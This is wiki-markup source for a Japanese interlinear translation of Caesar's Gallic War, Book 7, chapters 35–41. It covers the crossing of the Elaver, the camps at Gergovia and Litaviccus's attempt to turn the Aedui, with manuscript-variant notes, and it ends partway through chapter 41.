&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]
;両軍がゲルゴウィアの要衝に陣営を築く

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris [[wikt:en:Gergovia#Latin|Gergoviam]] pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de &lt;u&gt;expugnatione&lt;/u&gt; desperavit;  
**（拙速に突撃するような）攻略については断念して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:expugnatione#Latin|expugnatione]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:oppugnatione#Latin|oppugnatione]] となっている。）&lt;/span&gt;
*de obsessione non &lt;u&gt;prius&lt;/u&gt; agendum constituit, &lt;u&gt;quam&lt;/u&gt; rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：prius ～ quam …「…よりも前に～」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum &lt;u&gt;in monte&lt;/u&gt; positis, 
**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in monte は &amp;beta;系写本にある記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*mediocribus circum se intervallis separatim singularum &lt;u&gt;civitatum&lt;/u&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本B･M･L･Nでは [[wikt:en:civitatum#Latin|civitatum]] という語形だが、&lt;br&gt;　　　　　　　　　&amp;chi;系･&amp;beta;系写本･写本Sでは [[wikt:en:civitatium#Latin|civitatium]] の語形となっている。）&lt;/span&gt;

*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum &lt;u&gt;civitatum&lt;/u&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の語形については、上述と同様。）&lt;/span&gt;
*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, &lt;u&gt;periclitaretur&lt;/u&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:periclitaretur#Latin|periclitaretur]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:perspiceretur#Latin|perspiceretur]] 、&lt;br&gt;　　　　　　　　　写本Tの一部では [[wikt:en:perspiceret#Latin|perspiceret]] となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat [[wikt:en:e_regione#Latin|e regione]] oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;u&gt;nimis firmo&lt;/u&gt;, &lt;u&gt;tamen tenebatur&lt;/u&gt;. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の nimis firmo は主要写本&amp;omega;の記述だが、Zuckerによる infirmo という修正提案がある。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の tamen tenebatur の語順は、[[ガリア戦記/注解編/写本と校訂版#Oudendorpius|Oudendorpius]] による修正提案で、&lt;br&gt;　　　　　　　　　写本では tenebatur tamen となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;(Tamen)&lt;/u&gt; silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：tamen については、上記を参照。）&lt;/span&gt;
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;
*ut tuto ab repentino hostium incursu etiam singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
